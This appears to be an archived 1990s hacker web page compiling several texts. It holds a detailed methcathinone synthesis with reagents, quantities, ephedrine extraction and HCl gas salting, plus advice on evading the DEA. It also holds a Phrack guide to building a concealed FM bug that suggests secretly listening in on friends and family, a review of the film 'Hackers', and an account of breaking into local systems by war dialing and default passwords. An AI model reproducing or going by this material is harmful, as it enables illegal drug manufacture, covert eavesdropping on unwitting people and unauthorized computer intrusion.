Bone's H/P/C Page o' rama‑ part of the Cyber Rights Now! home page (http://www.lib.iup.edu/~seaman/index.html)

While this is hardly a Macintosh hacking site, it's just a hacking site, it does have very few Mac files, some of which are hard to get to. However, Bone might get expelled because of a long story involving AOHell, so this page might not be here. Then again, maybe Bone won't get expelled and this site will stay. Never can tell 'bout the future, can you? "We predict the future. We invent it."

‑Nasty government guy on the season premiere of _The X‑Files_

Andy Ryder

Netsurfer and Road Warrior on the Info Highway

I've pestered Bruce Sterling _and_ R.U. Sirius!

As mentioned in the alt.devilbunnies FAQ, part I (Look it up!) Once scored 29,013,920 points on Missile Command

"This Snow Crash thing‑ is it a virus, a drug, or a religion?" ‑Hiro Protagonist

"What's the difference?"

‑Juanita Marquez

"...one person's 'cyberpunk' is another's everyday obnoxious teenager with some technical skill thrown in..."

‑Erich Schneider, "alt.cyberpunk Frequently Asked Questions List" "More than _some_ technical skill."

‑Andy Ryder

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Making Methcathinone

Compiled

by Anonymous

Ok, this has got to be the easiest drug made at home (by far). This is very similar to methamphetamine in structure, effect, and use. Typical doses start at 20mg up to 60mg. Start low, go slow. Cat can be taken orally (add 10 mg) or through mucous membranes (nasally).

Ingredients:

Diet pills, or bronchodilator pills (1000 ea) containing 25mg ephedrine. Potassium chromate, or dichromate (easily gotten from chem lab. orange/red) Conc. Sulfuric acid ‑ it's up to you where you get this. Contact me if you need help locating it.

Hydrochloric acid or Muriatic acid ‑ Pool supply stores, hardware stores, it

is used for cleaning concrete.

Sodium Hydroxide ‑ Hardware stores. AKA lye.

Toluene ‑ Hardware store, paint store.

Lab equipment:

1 liter, 3 neck flask ‑ get it from school or Edmund's Scientific ($20.00) 125 mL separatory funnel ‑ same as above

glass tubing ‑ same as above

Buchner funnel ‑ This is a hard to find item, but must schools have at least one. They are usually white porcelain or plastic. They look like a funnel with a flat disk in the bottom with lots of holes in it. If you need one, arrangements can be made. Aspirator or vacuum pump ‑ Any lab‑ware supply catalog, about $10.00

References to Edmund's Scientific Co, in NJ, are accurate. You have to go to their "Lab Surplus/Mad Scientist" room. The prices are incredible. This place is definitely a recommended stopping sight for anybody going through New Jersey. It is located in "Barrington", about 30 minutes from center city Philadelphia.

All of the above can be purchased from "The Al‑Chymist". Their number is (619)948‑4150. Their address is: 17525 Alder #49

Hesperia, Ca 92345

Call and ask for a catalog.

That's it. The body of this article is stolen from the third edition of "Secrets of Methamphetamine Manufacture" by Uncle Fester. This is a tried and proven method by many people. If you want a copy of this book, contact me.

Good luck and keep away from the DEA

M E T H C A T H I N O N E

K I T C H E N I M P R O V I E S E D C R A N K

The latest designer variant upon the amphetamine molecule to gain popularity and publicity is methcathinone, commonly called cat. This substance is remarkably similar to the active ingredient found in the leaves of the khat tree which the loyal drug warriors on the network news blame for turning peace loving Somalis into murderous psychopaths. The active ingredient in the khat leaves is cathinone, which has the same structural relationship to methcathinone that amphetamine has to methamphetamine. It is made by oxidizing ephedrine, while meth can be made by reducing ephedrine.

The high produced by methcathinone is in many ways similar to methamphetamine. For something so easily made and purified, it is actually quite enjoyable. the main differences between the meth high and the methcathinone high are length of action and body fell. With methcathinone, one can expect to still get to sleep about 8 hours after a large dose. On the down side, it definitely gives me the impression that the substance raises the blood pressure quite markedly. This drug may not be safe for people with weak hearts of blood vessels. Be warned!

Cat is best made using chrome in the +6 oxidation state as the oxidizer. I recall seeing an article in the narco swine's Journal of Forensic Science bragging about how they worked out a method for making it using permanganate, but that method gives an impure product in low yields. Any of the common hexavalent chrome salts can be used as the oxidizer in this reaction. This list include chrome trioxide (CrO3), sodium or potassium chromate (Na2CrO4), and sodium or potassium dichromate (Na2Cr2O7). All of these chemicals are very common. Chrome trioxide is used in great quantities in chrome plating. The chromates are used in tanning and leather making.

To make methcathinone, the chemist starts with the water extract of ephedrine pills. The concentration of the reactants in this case is not critically important, so it is most convenient to use the water extract of the pills directly after filtering without any boiling away of the water. See the section at the beginning of Chapter 15 [I included this at the end of the file] on extracting ephedrine form pills. Both ephedrine hydrochloride and sulfate can be used in this reaction.

The water extract of 1000 ephedrine pills is placed into any convenient glass container. A large measuring cup is probably best since it has a pouring lip. Next, 75 grams of any of the above mentioned +6 chrome compounds are added. They dissolve quite easily to form a reddish or orange colored solution. Finally, concentrated sulfuric acid is added. If CrO3 is being used, 21 mL is enough for the job. If one of the chromates is being used, 42 mL is called for. These ingredients are thoroughly mixed together, and allowed to sit for several hours with occasional stirring.

After several hours have passed, lye solution is added to the batch until it is strongly basic. Very strong stirring accompanies this process to ensure that the cat is converted to the free base. Next, the batch is poured into a sep funnel, and a couple hundred mLs of toluene is added. Vigorous shaking, as usual, extracts the cat into the toluene layer. It should be clear to pale yellow in color. The water layer should be orange mixed with green. The green may settle out as a heavy sludge. The water layer is thrown away, and the toluene layer containing the cat is washed once with water, then poured into a beaker. Dry HCl gas is passed through the toluene as described in Chapter 5 [I included this at the end of the file] to get white crystals of cat. The yield is between 15 and 20 grams. This reaction is scaled up quite easily.

CHAPTER 15 (part of it anyway)

P R O C E D U R E F O R O B T A I N I N G P U R E E P H E D R I N E F R O M S T I M U L A N T P I L L S

In the present chemical supply environment, the best routes for making meth start with ephedrine as the raw material. To use these routes, a serious hurdle must first be overcome. This hurdle is the fact that the most easily obtained source of ephedrine, the so‑called stimulant or bronchodilator pills available cheaply by mail order, are a far cry from the pure starting material a quality minded chemist craves. Luckily, there is a simple and very low profile method for separating the fillers in these pills from the desired active ingredient they contain.

A superficial paging through many popular magazines[New Body is where I found it at GNC] reveals them to be brim full of ads

from mail order outfits offering for sale "stimulant" or "bronchodilator" pills. These are the raw materials today's clandestine operator requires to manufacture meth without detection. The crank maker can hide amongst the huge herd of people who order these pills for the irritating and nauseating high that can be had by eating them as is. I have heard of a few cases where search warrants were obtained against people who ordered very large numbers of these pills, but I would think that orders of up to a few thousand pills would pass unnoticed. If larger numbers are required, maybe one's friends could join in the effort.

The first thing one notices when scanning these ads is the large variety of pills offered for sale. When one's purpose is to convert them into methamphetamine, it is very easy to eliminate most of the pills offered for sale. Colored pills are automatically rejected because one does not want the coloring to be carried into the product. Similarly, capsules are rejected because individually cutting open capsules is just too much work. Bulky pills are to be avoided because they contain too much filler. The correct choice is white cross thins, preferably containing ephedrine HCl instead of sulfate, because the HCl salt can be used in more of the reduction routes than can the sulfate.

Once the desired supply of pills is in hand, the first thing which should be done is to weigh them. This will give the manufacturer an idea of how much of the pills is filler, and how much is active ingredient. Since each pill contains 25 milligrams of ephedrine HCl, a 1000 lot bottle contains 25 grams of active ingredient. A good brand of white cross thins will be around 33% to 40% active ingredient. 25 grams of ephedrine HCl may not sound like much, but if it is all recovered from these pills, it is enough to make from 1/2 to 3/4 ounce of pure meth. This is worth three or four thousand dollars, not a bad return on the twenty odd dollars a thousand lot of such pills costs. [I don't know where he got 3 or 4 thousand dollars from, but the pills go for about $35.00/1000 now. 2 months ago they were $25.00 but now they have to do more paper work because it is a DEA controlled substance]

To extract the ephedrine from the pills, the first thing which must be done is to grind them into a fine powder. This pulverization must be thorough in order to ensure complete extraction of the ephedrine form the filler matrix in which it is bound. A blender does a fine job of this procedure, as will certain brands of home coffee grinders.

Next, the powder from 1000 pills is put into a glass beaker, or other similar container having a pouring lip, and about 300 mL of distilled water is added. Gentle heat is then applied to the beaker, as for example on a stove burner, and with steady stirring the contents of the beaker are slowly brought up to a gentle boil. It is necessary to stir constantly because of the fillers will settle to the bottom of the beaker and cause burning if not steadily stirred.

Once the contents of the beaker have been brought to a boil, it is removed from the heat and allowed to settle. Then the water is poured out of the beaker through a piece of filter paper. The filtered water should be absolutely clear. Next, another 50 mL of water is added to the pill filler sludge, and it too is heated with stirring. Finally, the pill sludge is poured into the filter, and the water it contains is allowed to filter through. It too should be absolutely clear, and should be mixed in with the first extract. A little water may be poured over the top of the filler sludge to get the last of the ephedrine out of it. This sludge should be nearly tasteless, and gritty in texture. The water extract should taste very bitter, as it contains the ephedrine.

The filtered water is now returned to the stove burner, and half of the water it contains is gently boiled away. Once this much water has been boiled off, precautions should be taken to avoid burning the ephedrine. The best alternative is to evaporate the water off under a vacuum. If this is not practical with the equipment on hand, the water may be poured into a glass baking dish. This dish is then put into the oven with the door cracked open, and the lowest heat applied. In no time at all, dry crystals of ephedrine HCl can be scraped out of the baking dish with a razor blade. The serious kitchen experimenter may wish to further dry them in a microwave.

Chapter 5 (The part about the HCl gas)

A source of anhydrous hydrogen chloride gas is now needed. The chemist will generate his own. The glassware is set up as in Figure 1. He will have to bend another piece of glass tubing to the shape shown. It should start out about 18 inches long. One end of it should be pushed through a one hole stopper. A 125 mL sep funnel is the best size. The stoppers and joints must be tight, since pressure must develop inside this flask to force the hydrogen chloride gas out through the tubing as it is generated.

Into the 1000 mL, three‑necked flask is placed 200 grams of table salt. Then 25% concentrated hydrochloric acid is added to this flask until it reaches the level shown in the figure. The hydrochloric acid must be of laboratory grade [I use regular muriatic acid for pools].

Figure 1:

\ /

\ /Ä·

Ö½ Ó· <‑‑125 mL separatory funnel

Ó· Ö½

Ä· Ä½ glass tubing Ä¿

Ó· Ö½

Í»

stopcock‑>ÛºÄ´ Salt and Hydrochloric acid stopper ‑>Ä· \/Ð· Ä· <‑1 hole mixed into a paste by add‑

Äº Äº stopper ing HCL to salt and mixing.

Ä½ Ä½ Ä½ Ä· The surface should be rough

Ö½ Óand a good number of holes

should be poked into the

1000 mL, 3 neck flask paste for long lasting

generation of HCl gas.

Ó· acid/salt level Ö½

Ä· Ä½

Ä· Ä½

Ä· Ä½

Ä½

Some concentrated sulfuric acid (96‑98%) is put into the sep funnel and the spigot turned so that 1 mL of concentrated sulfuric acid flows into the flask. It dehydrates the hydrochloric acid and produces hydrogen chloride gas. This gas is then forced by pressure through the glass tubing.

One of the Erlenmeyer flasks containing methamphetamine in solvent is placed so that the glass tubing extends into the methamphetamine, almost reaching the bottom of the flask. Dripping in more sulfuric acid as needed keeps the flow of gas going to the methamphetamine. If the flow if gas is not maintained, the methamphetamine may solidify inside the glass tubing, plugging it up.

Within a minute of bubbling, white crystals begin to appear in the solution, More and more of them appear as the process continues. It is an awe‑inspiring sight. In a few minutes, the solution becomes as thick as watery oatmeal.

It is now time to filter out the crystals, which is a two man job. The flask with the crystals in it is removed from the HCl source and temporarily set aside. The three‑necked flask is swirled a little to spread around the sulfuric acid and then the other Erlenmeyer flask is subjected to a bubbling with HCl. While this flask is being bubbled, the crystals already in the other flask are filtered out.

The filtering flask and Buchner funnel are set up as shown in figure 2. The drain stem of the buchner funnel extends all the way through the rubber stopper, because methamphetamine has a nasty tendency to dissolve rubber stoppers. This would color the product black. A piece of filter paper covers the flat bottom of the Buchner funnel. The vacuum is turned on and the hose attached to the vacuum nipple. Then the crystals are poured into the Buchner funnel. The solvent and uncrystallized methamphetamine pass through the filter paper and the crystals stay in the Buchner funnel as a solid cake. About 15 mL of solvent is poured into the Erlenmeyer flask. the top of the flask is covered with the palm and it is shaken to suspend the crystals left clinging to the sides. This is also poured into the Buchner funnel. Finally, another 15 mL of solvent is poured over the top of the filter cake.

Figure 2:

Ä¿

Bchner Funnel

__________

\

\

\ /

Ä¿

To vacuum

Ä¿

Ä

Filtering

flask‑‑>

Now the vacuum hose is disconnected and the Buchner funnel, stopper and all, is pulled from the filtering flask. All of the filtered solvent is poured back into the erlenmeyer flask it came from. It is returned to the HCl source for more bubbling. The Buchner funnel is put back into the top of the filtering flask. It still contains the filter cake of methamphetamine crystals. It will now be dried out a little bit. The vacuum is turned back on, the vacuum hose is attached to the filtering flask, and the top of the Buchner funnel is covered with the palm or section of latex rubber glove. The vacuum builds and removes most of the solvent from the filter cake. This takes about 60 seconds. The filter cake can now be dumped out onto a glass or China plate (not plastic) by tipping the Buchner funnel upside‑down and tapping it gently on the plate.

And so, the filtering process continues, one flask being filtered while the other one is being bubbled with HCl. Solvent is added to the Erlenmeyer flask to keep their volumes at 300 mL. Eventually, after each flask has been bubbled for about seven times, no more crystal will come out and the underground chemist is finished.

If ether was used as the solvent, the filter cakes on the plates will be nearly dry now. With a knife from the silverware drawer, the cakes are cut into eighths. They are allowed to dry out some more then chopped up into powder. If benzene was used, this process takes longer. Heat lamps may be used to speed up this drying, but no stronger heat source.

[The above section of chapter 5 is talking about methamphetamine. You could, in most instances, substitute the word methcathinone, but I wanted to present the text to you in its exact form.]

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Review of "HACKERS"

By Wile Coyote

Sorry, it might be a little long... cut it to ribbons if you want, most of it is just a rant anyway... Hope you enjoy it.

First off, I have to admit that I was biased going into the movie "Hackers"... I heard that it wasn't going to be up to snuff, but did I let that stop me? No, of course not... I sucked up enough courage to stride towards my girlfriend and beg for seven bucks... :) She ended up wanting to see the movie herself (and sadly, she rather enjoyed it... oh, well, what can you do with the computer illiterate or is it the computer illegitimate?). Now onto....

THE MOVIE

(Yes, I AM going to give you a second‑by‑second playback of the movie... you don't want me to spoil the plot, you say? Well, don't worry, there is no plot to spoil! :) just kidding, go see it... maybe you'll like it...)

Well, from the very first few seconds, I was unimpressed... It begins with an FBI raid on some unsuspecting loose (who turns out to be the main character, but that's later) named Zero Cool (can you say "EL1EEEEET WaReZ D00D!!!!!!!1!!!!!111!!!!"). The cinematography was bad... (Hey, cinematography counts!) But, the acting was worse. The Feds bust into this home and run up the stairs, all while this lady (the mom) just kind of looks on dumbfounded and keeps saying stuff like "hey, stop that...", or something (is this what a raid is like? I've never had the pleasure...)

Ok, so the story goes on like this: The 11 year old kid made a computer virus that he uploads to, I think, the NY stock exchange, and it crashes 1,507 computers. There is a really lame court scene where the kid is sentenced to 7 years probation where he can't use a computer or a touch‑tone phone... That was 1988...

Time passes... Now it's 1995, and boy have things changed (except the mom... hmmm....). Now the ex‑hacker is allowed to use a computer (his 18th b‑day) and (somehow) he is just a natural at hacking, and is (gold?) boxing some TV station to change the program on television (yes, I know that all of you super‑el33t hackers hack into TV stations when you don't like what's on Ricki Lake!). N‑e‑way, while hacking into their super‑funky system (the screen just kind of has numbers moving up and down the screen like some kind of hex‑editor on acid...)

he gets into a "hacking battle" with some other hacker called Acid Burn (I don't think I have ever seen such a trippy view of the "Internet"... lots of Very high‑end graphics, not very realistic, but it's Hollywood...). In the end, the other hacker kicks the shit out of him (he has changed his handle to Crash Override now, just to be cool, i guess) and logs him off the TV station. Wow, tense... cough...

For those of you who care, let me describe the "hacker" Crash Override: He is definitely super‑funky‑coole‑mo‑d‑el31t‑to‑the‑max, 'cause he is (kinda) built, and wears VERY wicky (wicky : <adjective> weird plus wacky) clothes, and the CDC might have quite a bit to say about the amount of leather he wears... I mean, there are limits to that kind of stuff, man! And to top off his coolness, he is, like, the roller‑blade king of the world. (Not that hackers don't roller‑blade, but he does it just Soooo much cooler than I could... :) ). And yet, here's the nifty part, despite all of his deft coolness, he couldn't get a girl for the life of him (we all morn for him in silent prayer).

Ok, so now Crash is at school, and he meets Wonderchick (who is EXACTLYFUCKINGLIKEHIM, and is , of course, an 3L31t hackerette... ok, she is Acid Burn, the bitch who "kicked" him out of the TV station, sorry to spoil the suspense).

Now, while at school, he wants to hook up with wonderchick, so he breaks into the school's computer (it must be a fucking Cray to support all of the high‑end‑type graphics that this dude is pulling up) and gets his English(?) class changed to hers. So, some other super‑d00dcool hacker spots him playing around with the schools computer (it's funny how may elite hackers one can meet in a new york public school...), so he catches up with Crash and invites you to an elite (Oh, if you ever want to see a movie where the word 3l333333333t is used, like a fucking million times, then go see Hackers...) hackerz‑only club, complete with million‑dollar virtual‑reality crap and even a token phreaker trying to red‑box a pay‑phone with a cassette recorder (never mind that the music is about 197 decibels, the phone can still pick up the box tones...).

What follows is that Crash meets up with some seriously k‑rad hackers (Cereal Killer : reminds you of Mork & Mindy meets Dazed and Confused; and Phantom Phreak : who reminds of that gay kid on "my so called life... maybe that was him?";Lord Nikon : the token black hacker... Photographic memory is his super‑power). They talk about k00l pseudo‑hacker shit and then a l00ser warez‑type guy comes up and tries to be El33t like everybody else. He is just about the ONLY realistic character in the whole movie. He acts JUST like a wannabe "Hiya D00dz, kan eye b k0ewl too?". He keeps saying "I need a handle, then I'll be el33t!". (Why he can't just pick his own handle, like The Avenging Turd or something, is beyond me... He plays lamer better than the kids in Might Morphin Power Rangers... awesome actor!). N‑e‑way, this is where the major discrepancies start. Ok, first they try to "test" Lamerboy by asking him what the four most used passwords are. According to the movie, they are "love, sex, god, and secret". (Hmmmm.... I thought Unix required a 6‑8 char. password....). Somehow lamerboy got into a bank and screwed with an ATM machine four states away; all of the hacker chastise him for being stupid and hacking at home (If you watch the movie, you'll notice that the hackers use just about every pay‑phone in the city to do their hacking, no, THAT doesn't look suspicious)Next they talk about "hacking a Gibson".

(I was informed that they WANTED to use "hacking a Cray",

but the Cray people decided that they didn't want THAT kind of publicity. I've never heard of a Gibson in real life, though...).

They talk about how k‑powerful the security is on a Gibson, and they say that if Lamerboy can crack one, then he gets to be elite.

Soooooooo.... As the movie Sloooowly progresses (with a lot of Crash loves Wonderchick, Wonderchick hates Crash kind of stuff) Lamerboy finally cracks a Gibson with the password God (never mind a Login name or anything that cool). Then the cheese begins in full force. The Gibson is like a total virtual‑reality thingy. Complete with all sorts of cool looking towers and neon lightning bolts and stuff. Lamerboy hacks into a garbage file (did I mention that the entire world is populated by Macs? Oh, I didn't... well, hold on :)...). So, this sets alarms off all over the place (cause a top‑secret file is hidden in the garbage, see?), and the main bad‑guy, security chief Weasel, heads out to catch him. He plays around with some neon, star‑trek‑console, buttons for a while, then calls the "feds" to put a trace on the kid. La de da, ess catches him in a second, and the kid only gets half of the file, which he hides. (to spoil the suspense, yet again, the file is some kind of money getting program, like the kind some LOD members wrote about a long time ago in Phrack, which pulls money from each transaction and puts it into

a different account. Needless to say, the Security Weasel is the guy who wrote it, which is why he needs it back, pronto!).

As we travel along the movie, the hackers keep getting busted for tapping into the Gibson, and they keep getting away. The "action" heats up when Wonderchick and Crash get into a tiff and they decide to have a hacking contest... They go all over the city trying their best to fuck with the one fed they don't like.... Brilliant move, eh? The movie kind of reaches a lull when, at a party at Wonderchick's house, they see a k‑rad laptop. They all fondle over the machine with the same intensity that Captain Kirk gave to fighting Klingons, and frankly, their acting abilities seems to ask "please deposit thirty‑five cents for the next three minutes". It was funny listening to the actors, 'cause they didn't know shit about what they were saying... Here's a clip:

Hey, cool, it's got a 28.8 bps modem! (Yep, a 28.8 bit modem... Not Kbps, mind you :)...I wonder where they designed a .8 of a bit?)

Yeah! Cool... Hey what kind of chip does it have in it?

A P6! Three times faster than a Pentium.... Yep, RISC is the wave of the future... (I laughed so hard..... Ok, first of all, it is a Mac. Trust me, it has the little apple on the cover. Second it has a P6, what server she ripped this out of, I dare not ask. How she got that bastard into a laptop without causing the casing to begin melting is yet another problem... those get very hot, i just read about them in PC magazine (wow, I must be elite too). Finally, this is a *magic* P6, because it has RISC coding....

I kinda wished I had stayed for the credits to see the line:

Technical advisor None.... died on route to work...)

Finally they ask something about the screen, and they find out it is an..... hold your breath.... ACTIVE MATRIX! ... Kick ass!

They do lots of nifty things with their magic laptops (I noticed that they ALL had laptops, and they were ALL Macintoshes. Now, I'm not one to say you can't hack on a mac, 'cause really you can hack on a TI‑81 if you've got the know.... but please, not EVERYONE in the fucking movie

has to have the exact same computer (different colors, though... there was a really cool clear one).... it got really sad at the end), and they finally find out what the garbage file that Lamerboy stole was, this time using a hex editor/CAD program of some sort.

As we reach the end of the movie, the hackers enlist the help of two very strangely painted phone phreaks who give the advice to the hackers to send a message to all of the hackers on the 'net, and together, they all kicked some serious ass with the super‑nifty‑virtual‑reality Gibson.

In the end, all of the Hackers get caught except for one, who pirates all of the TV station in the world and gives the police the "real" story... So, the police politely let them go, no need for actually proving that the evidence was real or anything, of course.

So, in the end, I had to say that the movie was very lacking. It seemed to be more of a Hollywood‑type flashy movie, than an actual documentary about hackers. Yes, I know an ACTUAL movie about hacker would suck, but PLEASE, just a LITTLE bit of reality helps keep the movie grounded. It may have sucked less if they didn't put flashing, 64 million color, fully‑rendered, magically delicious pictures floating all over the screen instead of just a simple "# " prompt at the bottom. With all of the super‑easy access to all of the worlds computers, as depicted in the movie, ANYBODY can be a hacker, regardless of knowledge, commitment, or just plain common sense. And that's what really made it suck...

Hope you enjoyed my review of HACKERS!

Line Noise (Part II)

==Phrack Magazine==

Volume Seven, Issue Forty‑Eight, File 4 of 18

// // /\

// // //\\

==== // // \\

/\ // // \\ /

//\\ // // // //

// \\/ \\ // //

PART II

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

+===================================+

| CONSTRUCTING AN FM BUG |

| ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑ |

| |

| written by |

| + Obi‑1 |

| * edjjs@cc.newcastle.edu.au|

| * * |

| |

| $ Written for Phrack |

| x$x if any other magazine |

| $ wishes to print this |

| x$x article they must let the |

| author know in advance |

+===================================+

INTRODUCTION

Before anything this article sole purpose is to teach everyone out there about electronics. If you do build it use it at your own risk. You will need a decent knowledge of electronics and how to solder some components. So if you dont know how to build electronic kits and want a bug you can buy one ready‑made from me, just write to the e‑mail address above. Ok enough crap.. so you ask what is an FM bug, well an FM bug is like a tiny microphone that can transmit crystal clear audio to a near by Walkman/stereo etc. The range of the bug we are making is about 800 meters, and the battery life is about 100hrs on a normal alkaline battery. This bug however is not to be moved while in use, so you cant put it in your pocket and walk around. There are other bugs on the market but this I found to be the most reliable and relatively easy to build. The actual size of the PCB is only 2cm X 2cm! However the battery is actually the biggest component. Some parts like the Surface Mount resistors, air trimmer and electret microphone maybe hard to find. I find mail‑order catalogs are the best source of parts as they have a bigger range than a store like Dick Smith. I did not actually design this circuit, Talking Electronics did, but felt everyone out there might like to know how to build one of these. The surface mount resistors can be replaced with normal resistors but I recommend using the surface mount resistors as they give more of an educational experience to this project <puke> <puke> If you dont have a clue how to build a bug and have no knowledge of electronics whatsoever e‑mail me and you can purchase one pre‑built from me.

COMPONENT LIST

Resistors

1‑ 470 R surface mount

1‑ 10k surface mount

1‑ 47k surface mount

1‑ 68k surface mount

1‑ 1M surface mount

Capacitors

1‑ 10p disc ceramic

1‑ 39p disc ceramic

1‑ 1n disc ceramic

2‑ 22n disc ceramics

1‑ 100n monoblock (monolithic)

1‑ Air trimmer 2p‑10p

Other

2‑ BC 547 transistors

1‑ 5 turn coil 0.5mm enameled wire

1‑ electret mic insert‑ high sensitivity

1‑ 9V battery snap

1‑ 15cm tinned copper wire

1‑ 30cm fine solder

1‑ 170cm antenna wire

NOTE: use 170cm of electrical wire for the antenna, this length will give you maximum range, however since the antenna wire needs to be extended when bugging the concealability might be a factor. You can shorten the wire's length but this will shorten the range yet make it easier to conceal. Weigh the factors and do whats right for you.

ASSEMBLY OF CIRCUIT

First familiarize yourself with the layout of the components. Now the only polarized (parts that have to put around the right way) are the two transistors, the battery and the microphone. All other parts can be soldered either way around. I recommend using this order for assembly as it is the most practical and easiest way to build the bug.

1. 5 surface mount resistors.

2. 6 capacitors.

3. 2 transistors.

4. air trimmer

5. 5‑turn coil.

6. battery snap.

7. microphone.

8. antenna wire.

READING RESISTOR AND CAPACITOR VALUES

If you dont know how to read the value of a surface mount resistor or disc ceramic capacitor read on.

Surface mount resistor: These have three numbers, with the first two digits being multiplied by the third. The third digit represents how many zeros after the first two. For example a surface mount resistor with code 1‑0‑5 would mean that the first two digits (1‑0) would be multiplied by 5 zeros. To give the value 10 00000ohms or 1Mohm.

Capacitor: These are similar to the above but the base number is pF or pico farads. eg a capacitor labeled 2‑2‑3 has the value of 22 000pF.

HOW IT WORKS

The FM bug circuit consists of two stages: an audio amplifier and a RF oscillator stage.

1.THE AUDIO AMPLIFIER STAGE

The microphone detects audio in the form of air vibrations that enter the hole at the end of the microphone and move the diaphragm. The diaphragm is a thin piece of metalised plastic and is charged during manufacture. Some of these vibrations pass down a lead which touches it to and into a FET transistor. A FET transistor has a very high input impedance and does not have a loading effect on the charges. The audio then gets passed through a BC 547 transistor which amplifies the sound around seventy times. The BC547 then passes it to the base of the oscillator stage.

2.THE OSCILLATOR STAGE

The 47k resistor picks up the pulse from the transistor and then turns the second or oscillator transistor ON, but the 47k resistor has a value so that it will not turn the transistor on fully. So the feedback pulse from the 10p capacitor turns it ON fully.

Normally a transistor is turned ON/OFF via the base, however it can be also done by holding the base firm and differing the emitter voltage. In the FM bug this is whats done, the 1p capacitor holds the base firm and the 10p feedback capacitor differs the emitter voltage. However for a capacitor to do this the emitter must have a DC voltage that can be increased and decreased. The DC voltage is about 2V and the base will be 0.6V higher than this so the base voltage is fixed at 2.6V by the 1p capacitor. The voltage does not rise or fall when the oscillator is operating only when the audio is injected into the base via the 100n capacitor. This is how the circuit works and continues like this at a rate of about 100 million times per second.

The oscillator is designed to operate at around 100mhz, however this figure is dependent on a lot of factors such as the 6 turn coil, the 10p capacitor and 470R and 47k resistors also and the figure of operation is about 90mhz (my FM bug operated at 88.5mhz).

GETTING THE BUG READY FOR ACTION

Ok so you have built the bug now and are ready to use it. Well first of all you will need some sort of FM radio. Alright put the bug next to or near the radio's antenna. Turn the bug and the radio on. Alright starting from the bottom end of the radio's FM scale. Slowly progress your way through the FM band. Usually your bug will tend to be around the 85‑95mhz range. Once you hear a beep (because your bug is close to the radio) or any other strange static noise stop. Alright you might have been lucky and your bug is exactly tuned already, however in most cases you will need to adjust your bug slightly. Using a small screwdriver slowly turn the air trimmer, whilst doing this babble out some words, stop turning until the echo of your voice through the radio becomes crystal clear. Your bug is now tuned and you are ready to put it to use.

You might have some problems with your bugs frequency being exactly same as a radio stations. No problem, by compressing or uncompressing the coil you can change your bugs frequency. Use the coil method if your bug is in the middle of a few radio stations frequencies, if you just need to move it up or down one or two mhz then use the air trimmer.

PUTTING THE BUG TO USE

Many of you already have your ideas on how to use the bug. Remember it might be illegal in your Country/State/city to use this bug in the way you intend. Hey its up to you I dont mind, however I take no responsibility if you get in trouble.

Anyway here are a few "friendly methods":

1. CHRISTMAS. Yes it will soon be that time of year again, and this time also brings a great opportunity to discover some of those family secrets or maybe even find out what lame presents those relatives have brought you and save you from the disappointed face they will see when you open it.

Okay put the bug either in the pot the tree is standing in or fasten it to a branch relatively close to the bottom of the tree. We place it at the bottom of the tree because the antenna needs to be extended if we want really cool range. Okay put the bug in its position and then unravel the wire all over the tree.

2. TV listening. Okay if you are out in the backyard whether it because you want to, or there is some chore that needs to be done. You can listen to a favorite TV show, or a basketball game or such. I know your saying why not listen to the radio, well you now have a choice of listening to a radio station or one of the 10000000 TV channels your state offers you.

Set the bug up about 3‑5m away from the TV, then adjust the TV volume so that it is just right to hear on your radio.

3. Bug‑a‑friend. Okay you can bug your friend to see what he/she is up to. Okay you will need to know where your friend goes and then previously go there and set up the bug and your listening point. Make sure that you set up a place where conversation happens, it is very boring listening to insects and such.

Conceal the bug anywhere within a 3‑5m radius of where your friend talks and stuff. Now conceal yourself and then sit back and listen.

Now there are a few of the more "legally friendly" methods, there are thousands more not‑so‑friendly and even malicious methods <Oooooooo> that I will leave up to your imagination.

CONCLUSION

I hope the information contained can help you successfully build a bug, and then good luck using it. If you have trouble just e‑mail me. If you can not get hold of some of the components, you can order them through me. Also if you want a bug, but dont have the electronic skill to do it, you can buy pre‑built bugs through me.. just e‑mail me. may the force be with you

Obi‑1.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

My short time as a hacker.

by Kwoody

I live in a small town in northern British Columbia where the city owns the phone company. All of BC is serviced by BCTel, except here in Prince Rupert. The phone company used, up until 1991, mechanical switches, no lie! Tech dating back to the 50's sometime. I know this because I know some of the workers of CityTel. (The name of the phone company). Because of this they were not able to offer all the goodies like Caller ID, Call Forward etc...and it was easy to hack then, not the phone company, but all the other systems in this small town of 16000+ people.

I got into hacking sort of accidently. I have had a computer and modem of one kind or other since about 1983. I moved here after high school in 1986 and found a good paying job I have worked at for the last 8 years. One night night in 1990 I was sitting around with my roommate having a few beers and decided to call a buddy of ours to come over but I dialed the number wrong and got a computer tone. Cool I thought... I knew the numbers of the 2 local BBS's and that wasnt one of them.

I fired up the computer and called it again. I got the prompt: Xenix 386 Login:.

I had some knowledge of other OS's and knew this was some kind of Unix box. A friend of my roomie was going to university (UBC) and he happened to phone that night. I chatted with him for a bit and told him what I had found. He told me to try sysadm or root. I got in with sysadm, no password!

I found that I had complete control of the system and it belonged to the local school board. I bought a book on Unix and learned as much as I could about the system and Unix in general. I guess being a rookie (read lamer?) and not knowing shit about how to cover my tracks they discovered the system had been hacked and shut down the dial‑in. They went back online a few weeks later and left sysadm wide open no password again. I could not believe it! Even after being hacked they still left their system open like that.

By now I was hooked and I wanted to see if there were any other systems in town. I could program a little in Pascal and basic (lame) and tried to write a dialer of some kind. No go...so instead I figured out the script language of Q‑modem and wrote a 40 line script that worked. It dialed all numbers sequentially but I did not worry too much about being caught since the switch they used was so ancient because they didnt have caller ID or anything like that yet.

I did not know at this time of the hacker community and some of the programs available that would do this already. And even if I did I wouldnt have known where to call and get them. At any rate I had two computers an XT and a 386 both with modems and two phone lines, one I used as my normal voice line and one for data. I setup the dialer on both and away I went. By the time I had finished scanning both the prefixes, 624 and 627, I found about 30 computers. Of those I was able to get into about 10. All of them used defaults and all except the one below were Unix boxes.

